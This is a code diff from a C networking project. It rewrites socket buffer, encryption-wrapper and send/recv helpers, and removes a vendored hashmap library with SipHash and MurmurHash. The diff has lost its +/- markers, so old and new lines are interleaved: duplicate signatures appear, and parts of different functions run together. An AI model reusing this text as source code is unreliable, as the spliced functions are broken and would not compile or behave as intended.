/* make sure we have enough space to copy the buffer */
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, sz);
/* copy the buffer, then increment outCount */
memcpy(&sock->outBuf[sock->outCount], buf, sz);
sock->outCount += sz;
memcpy(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz);
laikaM_countVector(sock->outBuf) += sz;
}
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
{
/* make sure we have enough space to encrypt the buffer */
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz));
/* encrypt the buffer into outBuf */
if (crypto_box_seal(&sock->outBuf[sock->outCount], buf, sz, pub) != 0)
if (crypto_box_seal(&sock->outBuf[laikaM_countVector(sock->outBuf)], buf, sz, pub) != 0)
LAIKA_ERROR("Failed to encrypt!\n");
sock->outCount += LAIKAENC_SIZE(sz);
laikaM_countVector(sock->outBuf) += LAIKAENC_SIZE(sz);
}
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv)
{
/* decrypt into buf */
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n");
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
laikaM_rmvVector(sock->inBuf, 0, LAIKAENC_SIZE(sz));
}
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
sock->outBuf[sock->outCount++] = data;
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
{
laikaM_growVector(uint8_t, sock->outBuf, 1);
sock->outBuf[laikaM_countVector(sock->outBuf)++] = data;
}
uint8_t laikaS_readByte(struct sLaika_socket *sock) {
uint8_t laikaS_readByte(struct sLaika_socket *sock)
{
uint8_t tmp = *sock->inBuf;
/* pop 1 byte */
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, 1);
/* consume 1 byte */
laikaM_rmvVector(sock->inBuf, 0, 1);
return tmp;
}
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i)
{
uint16_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
laikaS_read(sock, (void*)tmp, sz);
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* copy tmp buffer to user buffer, flipping endianness */
for (k = 0; k < sz; k++)
*((uint8_t*)buf + k) = tmp[sz - k - 1];
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_read */
laikaS_read(sock, buf, sz);
}
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
uint16_t laikaS_readu16(struct sLaika_socket *sock)
{
uint16_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
/* copy user buffer to tmp buffer, flipping endianness */
for (k = 0; k < sz; k++)
tmp[k] = *((uint8_t*)buf + (sz - k - 1));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
laikaS_write(sock, (void*)tmp, sz);
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_write */
laikaS_write(sock, buf, sz);
}
return tmp;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = sock->inCount;
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i)
{
uint32_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* make sure we have enough space to recv */
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
#if 0
/* for debugging */
printf("---recv'd %d bytes---\n", rcvd);
for (i = 1; i <= rcvd; i++) {
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* recv() worked, add rcvd to inCount */
sock->inCount += rcvd;
}
*processed = rcvd;
return errCode;
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) {
uint32_t laikaS_readu32(struct sLaika_socket *sock)
{
uint32_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
return tmp;
}
/* ===================================[[ Socket send/recv ]]==================================== */
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int sent, i, sentBytes = 0;
/* write bytes to the socket until an error occurs or we finish sending */
do {
sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL);
sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes,
LN_MSG_NOSIGNAL);
/* check for error result */
if (sent == 0) { /* connection closed gracefully */
@@ -336,7 +312,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} else if (SOCKETERROR(sent)) { /* socket error? */
if (LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */
/* posix also has some platforms which define EAGAIN as a different value than
EWOULD, might as well support it. */
&& LN_ERRNO != EAGAIN
#endif
) { /* socket error! */
@@ -351,26 +328,46 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
errCode = RAWSOCK_POLL;
goto _rawWriteExit;
}
} while((sentBytes += sent) < sz);
} while ((sentBytes += sent) < sz);
_rawWriteExit:
#if 0
/* for debugging */
printf("---sent %d bytes---\n", sent);
for (i = 1; i <= sentBytes; i++) {
printf("%.2x ", sock->outBuf[i-1]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* trim sent data from outBuf */
laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
*processed = sentBytes;
return errCode;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = laikaM_countVector(sock->inBuf);
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
/* make sure we have enough space to recv */
laikaM_growVector(uint8_t, sock->inBuf, sz);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
/* recv() worked, add rcvd to inCount */
laikaM_countVector(sock->inBuf) += rcvd;
}
*processed = rcvd;
return errCode;
}

936
lib/vendor/hashmap.c vendored
View File

@@ -1,936 +0,0 @@
// Copyright 2020 Joshua J Baker. All rights reserved.
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include "hashmap.h"
static void *(*_malloc)(size_t) = NULL;
static void *(*_realloc)(void *, size_t) = NULL;
static void (*_free)(void *) = NULL;
// hashmap_set_allocator allows for configuring a custom allocator for
// all hashmap library operations. This function, if needed, should be called
// only once at startup and a prior to calling hashmap_new().
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*))
{
_malloc = malloc;
_free = free;
}
#define panic(_msg_) { \
/*fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__);*/ \
exit(1); \
}
struct bucket {
uint64_t hash:48;
uint64_t dib:16;
};
// hashmap is an open addressed hash map using robinhood hashing.
struct hashmap {
void *(*malloc)(size_t);
void *(*realloc)(void *, size_t);
void (*free)(void *);
bool oom;
size_t elsize;
size_t cap;
uint64_t seed0;
uint64_t seed1;
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1);
int (*compare)(const void *a, const void *b, void *udata);
void (*elfree)(void *item);
void *udata;
size_t bucketsz;
size_t nbuckets;
size_t count;
size_t mask;
size_t growat;
size_t shrinkat;
void *buckets;
void *spare;
void *edata;
};
static struct bucket *bucket_at(struct hashmap *map, size_t index) {
return (struct bucket*)(((char*)map->buckets)+(map->bucketsz*index));
}
static void *bucket_item(struct bucket *entry) {
return ((char*)entry)+sizeof(struct bucket);
}
static uint64_t get_hash(struct hashmap *map, const void *key) {
return map->hash(key, map->seed0, map->seed1) << 16 >> 16;
}
// hashmap_new_with_allocator returns a new hash map using a custom allocator.
// See hashmap_new for more information information
struct hashmap *hashmap_new_with_allocator(
void *(*_malloc)(size_t),
void *(*_realloc)(void*, size_t),
void (*_free)(void*),
size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
{
_malloc = _malloc ? _malloc : malloc;
_realloc = _realloc ? _realloc : realloc;
_free = _free ? _free : free;
int ncap = 16;
if (cap < ncap) {
cap = ncap;
} else {
while (ncap < cap) {
ncap *= 2;
}
cap = ncap;
}
size_t bucketsz = sizeof(struct bucket) + elsize;
while (bucketsz & (sizeof(uintptr_t)-1)) {
bucketsz++;
}
// hashmap + spare + edata
size_t size = sizeof(struct hashmap)+bucketsz*2;
struct hashmap *map = _malloc(size);
if (!map) {
return NULL;
}
memset(map, 0, sizeof(struct hashmap));
map->elsize = elsize;
map->bucketsz = bucketsz;
map->seed0 = seed0;
map->seed1 = seed1;
map->hash = hash;
map->compare = compare;
map->elfree = elfree;
map->udata = udata;
map->spare = ((char*)map)+sizeof(struct hashmap);
map->edata = (char*)map->spare+bucketsz;
map->cap = cap;
map->nbuckets = cap;
map->mask = map->nbuckets-1;
map->buckets = _malloc(map->bucketsz*map->nbuckets);
if (!map->buckets) {
_free(map);
return NULL;
}
memset(map->buckets, 0, map->bucketsz*map->nbuckets);
map->growat = map->nbuckets*0.75;
map->shrinkat = map->nbuckets*0.10;
map->malloc = _malloc;
map->realloc = _realloc;
map->free = _free;
return map;
}
// hashmap_new returns a new hash map.
// Param `elsize` is the size of each element in the tree. Every element that
// is inserted, deleted, or retrieved will be this size.
// Param `cap` is the default lower capacity of the hashmap. Setting this to
// zero will default to 16.
// Params `seed0` and `seed1` are optional seed values that are passed to the
// following `hash` function. These can be any value you wish but it's often
// best to use randomly generated values.
// Param `hash` is a function that generates a hash value for an item. It's
// important that you provide a good hash function, otherwise it will perform
// poorly or be vulnerable to Denial-of-service attacks. This implementation
// comes with two helper functions `hashmap_sip()` and `hashmap_murmur()`.
// Param `compare` is a function that compares items in the tree. See the
// qsort stdlib function for an example of how this function works.
// The hashmap must be freed with hashmap_free().
// Param `elfree` is a function that frees a specific item. This should be NULL
// unless you're storing some kind of reference data in the hash.
struct hashmap *hashmap_new(size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
{
return hashmap_new_with_allocator(
(_malloc?_malloc:malloc),
(_realloc?_realloc:realloc),
(_free?_free:free),
elsize, cap, seed0, seed1, hash, compare, elfree, udata
);
}
static void free_elements(struct hashmap *map) {
if (map->elfree) {
for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i);
if (bucket->dib) map->elfree(bucket_item(bucket));
}
}
}
// hashmap_clear quickly clears the map.
// Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap.
// When the update_cap is provided, the map's capacity will be updated to match
// the currently number of allocated buckets. This is an optimization to ensure
// that this operation does not perform any allocations.
void hashmap_clear(struct hashmap *map, bool update_cap) {
map->count = 0;
free_elements(map);
if (update_cap) {
map->cap = map->nbuckets;
} else if (map->nbuckets != map->cap) {
void *new_buckets = map->malloc(map->bucketsz*map->cap);
if (new_buckets) {
map->free(map->buckets);
map->buckets = new_buckets;
}
map->nbuckets = map->cap;
}
memset(map->buckets, 0, map->bucketsz*map->nbuckets);
map->mask = map->nbuckets-1;
map->growat = map->nbuckets*0.75;
map->shrinkat = map->nbuckets*0.10;
}
static bool resize(struct hashmap *map, size_t new_cap) {
struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1,
map->seed1, map->hash, map->compare,
map->elfree, map->udata);
if (!map2) {
return false;
}
for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *entry = bucket_at(map, i);
if (!entry->dib) {
continue;
}
entry->dib = 1;
size_t j = entry->hash & map2->mask;
for (;;) {
struct bucket *bucket = bucket_at(map2, j);
if (bucket->dib == 0) {
memcpy(bucket, entry, map->bucketsz);
break;
}
if (bucket->dib < entry->dib) {
memcpy(map2->spare, bucket, map->bucketsz);
memcpy(bucket, entry, map->bucketsz);
memcpy(entry, map2->spare, map->bucketsz);
}
j = (j + 1) & map2->mask;
entry->dib += 1;
}
}
map->free(map->buckets);
map->buckets = map2->buckets;
map->nbuckets = map2->nbuckets;
map->mask = map2->mask;
map->growat = map2->growat;
map->shrinkat = map2->shrinkat;
map->free(map2);
return true;
}
// hashmap_set inserts or replaces an item in the hash map. If an item is
// replaced then it is returned otherwise NULL is returned. This operation
// may allocate memory. If the system is unable to allocate additional
// memory then NULL is returned and hashmap_oom() returns true.
void *hashmap_set(struct hashmap *map, void *item) {
if (!item) {
panic("item is null");
}
map->oom = false;
if (map->count == map->growat) {
if (!resize(map, map->nbuckets*2)) {
map->oom = true;
return NULL;
}
}
struct bucket *entry = map->edata;
entry->hash = get_hash(map, item);
entry->dib = 1;
memcpy(bucket_item(entry), item, map->elsize);
size_t i = entry->hash & map->mask;
for (;;) {
struct bucket *bucket = bucket_at(map, i);
if (bucket->dib == 0) {
memcpy(bucket, entry, map->bucketsz);
map->count++;
return NULL;
}
if (entry->hash == bucket->hash &&
map->compare(bucket_item(entry), bucket_item(bucket),
map->udata) == 0)
{
memcpy(map->spare, bucket_item(bucket), map->elsize);
memcpy(bucket_item(bucket), bucket_item(entry), map->elsize);
return map->spare;
}
if (bucket->dib < entry->dib) {
memcpy(map->spare, bucket, map->bucketsz);
memcpy(bucket, entry, map->bucketsz);
memcpy(entry, map->spare, map->bucketsz);
}
i = (i + 1) & map->mask;
entry->dib += 1;
}
}
// hashmap_get returns the item based on the provided key. If the item is not
// found then NULL is returned.
void *hashmap_get(struct hashmap *map, const void *key) {
if (!key) {
panic("key is null");
}
uint64_t hash = get_hash(map, key);
size_t i = hash & map->mask;
for (;;) {
struct bucket *bucket = bucket_at(map, i);
if (!bucket->dib) {
return NULL;
}
if (bucket->hash == hash &&
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
return bucket_item(bucket);
}
i = (i + 1) & map->mask;
}
}
// hashmap_probe returns the item in the bucket at position or NULL if an item
// is not set for that bucket. The position is 'moduloed' by the number of
// buckets in the hashmap.
void *hashmap_probe(struct hashmap *map, uint64_t position) {
size_t i = position & map->mask;
struct bucket *bucket = bucket_at(map, i);
if (!bucket->dib) {
return NULL;
}
return bucket_item(bucket);
}
// hashmap_delete removes an item from the hash map and returns it. If the
// item is not found then NULL is returned.
void *hashmap_delete(struct hashmap *map, void *key) {
if (!key) {
panic("key is null");
}
map->oom = false;
uint64_t hash = get_hash(map, key);
size_t i = hash & map->mask;
for (;;) {
struct bucket *bucket = bucket_at(map, i);
if (!bucket->dib) {
return NULL;
}
if (bucket->hash == hash &&
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
memcpy(map->spare, bucket_item(bucket), map->elsize);
bucket->dib = 0;
for (;;) {
struct bucket *prev = bucket;
i = (i + 1) & map->mask;
bucket = bucket_at(map, i);
if (bucket->dib <= 1) {
prev->dib = 0;
break;
}
memcpy(prev, bucket, map->bucketsz);
prev->dib--;
}
map->count--;
if (map->nbuckets > map->cap && map->count <= map->shrinkat) {
// Ignore the return value. It's ok for the resize operation to
// fail to allocate enough memory because a shrink operation
// does not change the integrity of the data.
resize(map, map->nbuckets/2);
}
return map->spare;
}
i = (i + 1) & map->mask;
}
}
// hashmap_count returns the number of items in the hash map.
size_t hashmap_count(struct hashmap *map) {
return map->count;
}
// hashmap_free frees the hash map
// Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap.
void hashmap_free(struct hashmap *map) {
if (!map) return;
free_elements(map);
map->free(map->buckets);
map->free(map);
}
// hashmap_oom returns true if the last hashmap_set() call failed due to the
// system being out of memory.
bool hashmap_oom(struct hashmap *map) {
return map->oom;
}
// hashmap_scan iterates over all items in the hash map
// Param `iter` can return false to stop iteration early.
// Returns false if the iteration has been stopped early.
bool hashmap_scan(struct hashmap *map,
bool (*iter)(const void *item, void *udata), void *udata)
{
for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i);
if (bucket->dib) {
if (!iter(bucket_item(bucket), udata)) {
return false;
}
}
}
return true;
}
//-----------------------------------------------------------------------------
// SipHash reference C implementation
//
// Copyright (c) 2012-2016 Jean-Philippe Aumasson
// <jeanphilippe.aumasson@gmail.com>
// Copyright (c) 2012-2014 Daniel J. Bernstein <djb@cr.yp.to>
//
// To the extent possible under law, the author(s) have dedicated all copyright
// and related and neighboring rights to this software to the public domain
// worldwide. This software is distributed without any warranty.
//
// You should have received a copy of the CC0 Public Domain Dedication along
// with this software. If not, see
// <http://creativecommons.org/publicdomain/zero/1.0/>.
//
// default: SipHash-2-4
//-----------------------------------------------------------------------------
static uint64_t SIP64(const uint8_t *in, const size_t inlen,
uint64_t seed0, uint64_t seed1)
{
#define U8TO64_LE(p) \
{ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \
((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56)) }
#define U64TO8_LE(p, v) \
{ U32TO8_LE((p), (uint32_t)((v))); \
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); }
#define U32TO8_LE(p, v) \
{ (p)[0] = (uint8_t)((v)); \
(p)[1] = (uint8_t)((v) >> 8); \
(p)[2] = (uint8_t)((v) >> 16); \
(p)[3] = (uint8_t)((v) >> 24); }
#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))
#define SIPROUND \
{ v0 += v1; v1 = ROTL(v1, 13); \
v1 ^= v0; v0 = ROTL(v0, 32); \
v2 += v3; v3 = ROTL(v3, 16); \
v3 ^= v2; \
v0 += v3; v3 = ROTL(v3, 21); \
v3 ^= v0; \
v2 += v1; v1 = ROTL(v1, 17); \
v1 ^= v2; v2 = ROTL(v2, 32); }
uint64_t k0 = U8TO64_LE((uint8_t*)&seed0);
uint64_t k1 = U8TO64_LE((uint8_t*)&seed1);
uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1;
uint64_t v2 = UINT64_C(0x6c7967656e657261) ^ k0;
uint64_t v1 = UINT64_C(0x646f72616e646f6d) ^ k1;
uint64_t v0 = UINT64_C(0x736f6d6570736575) ^ k0;
const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));
for (; in != end; in += 8) {
uint64_t m = U8TO64_LE(in);
v3 ^= m;
SIPROUND; SIPROUND;
v0 ^= m;
}
const int left = inlen & 7;
uint64_t b = ((uint64_t)inlen) << 56;
switch (left) {
case 7: b |= ((uint64_t)in[6]) << 48;
case 6: b |= ((uint64_t)in[5]) << 40;
case 5: b |= ((uint64_t)in[4]) << 32;
case 4: b |= ((uint64_t)in[3]) << 24;
case 3: b |= ((uint64_t)in[2]) << 16;
case 2: b |= ((uint64_t)in[1]) << 8;
case 1: b |= ((uint64_t)in[0]); break;
case 0: break;
}
v3 ^= b;
SIPROUND; SIPROUND;
v0 ^= b;
v2 ^= 0xff;
SIPROUND; SIPROUND; SIPROUND; SIPROUND;
b = v0 ^ v1 ^ v2 ^ v3;
uint64_t out = 0;
U64TO8_LE((uint8_t*)&out, b);
return out;
}
//-----------------------------------------------------------------------------
// MurmurHash3 was written by Austin Appleby, and is placed in the public
// domain. The author hereby disclaims copyright to this source code.
//
// Murmur3_86_128
//-----------------------------------------------------------------------------
static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
#define ROTL32(x, r) ((x << r) | (x >> (32 - r)))
#define FMIX32(h) h^=h>>16; h*=0x85ebca6b; h^=h>>13; h*=0xc2b2ae35; h^=h>>16;
const uint8_t * data = (const uint8_t*)key;
const int nblocks = len / 16;
uint32_t h1 = seed;
uint32_t h2 = seed;
uint32_t h3 = seed;
uint32_t h4 = seed;
uint32_t c1 = 0x239b961b;
uint32_t c2 = 0xab0e9789;
uint32_t c3 = 0x38b34ae5;
uint32_t c4 = 0xa1e38b93;
const uint32_t * blocks = (const uint32_t *)(data + nblocks*16);
for (int i = -nblocks; i; i++) {
uint32_t k1 = blocks[i*4+0];
uint32_t k2 = blocks[i*4+1];
uint32_t k3 = blocks[i*4+2];
uint32_t k4 = blocks[i*4+3];
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
h2 = ROTL32(h2,17); h2 += h3; h2 = h2*5+0x0bcaa747;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17;
}
const uint8_t * tail = (const uint8_t*)(data + nblocks*16);
uint32_t k1 = 0;
uint32_t k2 = 0;
uint32_t k3 = 0;
uint32_t k4 = 0;
switch(len & 15) {
case 15: k4 ^= tail[14] << 16;
case 14: k4 ^= tail[13] << 8;
case 13: k4 ^= tail[12] << 0;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
case 12: k3 ^= tail[11] << 24;
case 11: k3 ^= tail[10] << 16;
case 10: k3 ^= tail[ 9] << 8;
case 9: k3 ^= tail[ 8] << 0;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
case 8: k2 ^= tail[ 7] << 24;
case 7: k2 ^= tail[ 6] << 16;
case 6: k2 ^= tail[ 5] << 8;
case 5: k2 ^= tail[ 4] << 0;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
case 4: k1 ^= tail[ 3] << 24;
case 3: k1 ^= tail[ 2] << 16;
case 2: k1 ^= tail[ 1] << 8;
case 1: k1 ^= tail[ 0] << 0;
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
};
h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len;
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
FMIX32(h1); FMIX32(h2); FMIX32(h3); FMIX32(h4);
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
((uint32_t*)out)[0] = h1;
((uint32_t*)out)[1] = h2;
((uint32_t*)out)[2] = h3;
((uint32_t*)out)[3] = h4;
}
// hashmap_sip returns a hash value for `data` using SipHash-2-4.
uint64_t hashmap_sip(const void *data, size_t len,
uint64_t seed0, uint64_t seed1)
{
return SIP64((uint8_t*)data, len, seed0, seed1);
}
// hashmap_murmur returns a hash value for `data` using Murmur3_86_128.
uint64_t hashmap_murmur(const void *data, size_t len,
uint64_t seed0, uint64_t seed1)
{
char out[16];
MM86128(data, len, seed0, &out);
return *(uint64_t*)out;
}
//==============================================================================
// TESTS AND BENCHMARKS
// $ cc -DHASHMAP_TEST hashmap.c && ./a.out # run tests
// $ cc -DHASHMAP_TEST -O3 hashmap.c && BENCH=1 ./a.out # run benchmarks
//==============================================================================
#ifdef HASHMAP_TEST
static size_t deepcount(struct hashmap *map) {
size_t count = 0;
for (size_t i = 0; i < map->nbuckets; i++) {
if (bucket_at(map, i)->dib) {
count++;
}
}
return count;
}
#pragma GCC diagnostic ignored "-Wextra"
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <assert.h>
#include <stdio.h>
#include "hashmap.h"
static bool rand_alloc_fail = false;
static int rand_alloc_fail_odds = 3; // 1 in 3 chance malloc will fail.
static uintptr_t total_allocs = 0;
static uintptr_t total_mem = 0;
static void *xmalloc(size_t size) {
if (rand_alloc_fail && rand()%rand_alloc_fail_odds == 0) {
return NULL;
}
void *mem = malloc(sizeof(uintptr_t)+size);
assert(mem);
*(uintptr_t*)mem = size;
total_allocs++;
total_mem += size;
return (char*)mem+sizeof(uintptr_t);
}
static void xfree(void *ptr) {
if (ptr) {
total_mem -= *(uintptr_t*)((char*)ptr-sizeof(uintptr_t));
free((char*)ptr-sizeof(uintptr_t));
total_allocs--;
}
}
static void shuffle(void *array, size_t numels, size_t elsize) {
char tmp[elsize];
char *arr = array;
for (size_t i = 0; i < numels - 1; i++) {
int j = i + rand() / (RAND_MAX / (numels - i) + 1);
memcpy(tmp, arr + j * elsize, elsize);
memcpy(arr + j * elsize, arr + i * elsize, elsize);
memcpy(arr + i * elsize, tmp, elsize);
}
}
static bool iter_ints(const void *item, void *udata) {
int *vals = *(int**)udata;
vals[*(int*)item] = 1;
return true;
}
static int compare_ints(const void *a, const void *b) {
return *(int*)a - *(int*)b;
}
static int compare_ints_udata(const void *a, const void *b, void *udata) {
return *(int*)a - *(int*)b;
}
static int compare_strs(const void *a, const void *b, void *udata) {
return strcmp(*(char**)a, *(char**)b);
}
static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1) {
return hashmap_murmur(item, sizeof(int), seed0, seed1);
}
static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1) {
return hashmap_murmur(*(char**)item, strlen(*(char**)item), seed0, seed1);
}
static void free_str(void *item) {
xfree(*(char**)item);
}
static void all() {
int seed = getenv("SEED")?atoi(getenv("SEED")):time(NULL);
int N = getenv("N")?atoi(getenv("N")):2000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
srand(seed);
rand_alloc_fail = true;
// test sip and murmur hashes
assert(hashmap_sip("hello", 5, 1, 2) == 2957200328589801622);
assert(hashmap_murmur("hello", 5, 1, 2) == 1682575153221130884);
int *vals;
while (!(vals = xmalloc(N * sizeof(int)))) {}
for (int i = 0; i < N; i++) {
vals[i] = i;
}
struct hashmap *map;
while (!(map = hashmap_new(sizeof(int), 0, seed, seed,
hash_int, compare_ints_udata, NULL, NULL))) {}
shuffle(vals, N, sizeof(int));
for (int i = 0; i < N; i++) {
// // printf("== %d ==\n", vals[i]);
assert(map->count == i);
assert(map->count == hashmap_count(map));
assert(map->count == deepcount(map));
int *v;
assert(!hashmap_get(map, &vals[i]));
assert(!hashmap_delete(map, &vals[i]));
while (true) {
assert(!hashmap_set(map, &vals[i]));
if (!hashmap_oom(map)) {
break;
}
}
for (int j = 0; j < i; j++) {
v = hashmap_get(map, &vals[j]);
assert(v && *v == vals[j]);
}
while (true) {
v = hashmap_set(map, &vals[i]);
if (!v) {
assert(hashmap_oom(map));
continue;
} else {
assert(!hashmap_oom(map));
assert(v && *v == vals[i]);
break;
}
}
v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]);
v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
assert(!hashmap_get(map, &vals[i]));
assert(!hashmap_delete(map, &vals[i]));
assert(!hashmap_set(map, &vals[i]));
assert(map->count == i+1);
assert(map->count == hashmap_count(map));
assert(map->count == deepcount(map));
}
int *vals2;
while (!(vals2 = xmalloc(N * sizeof(int)))) {}
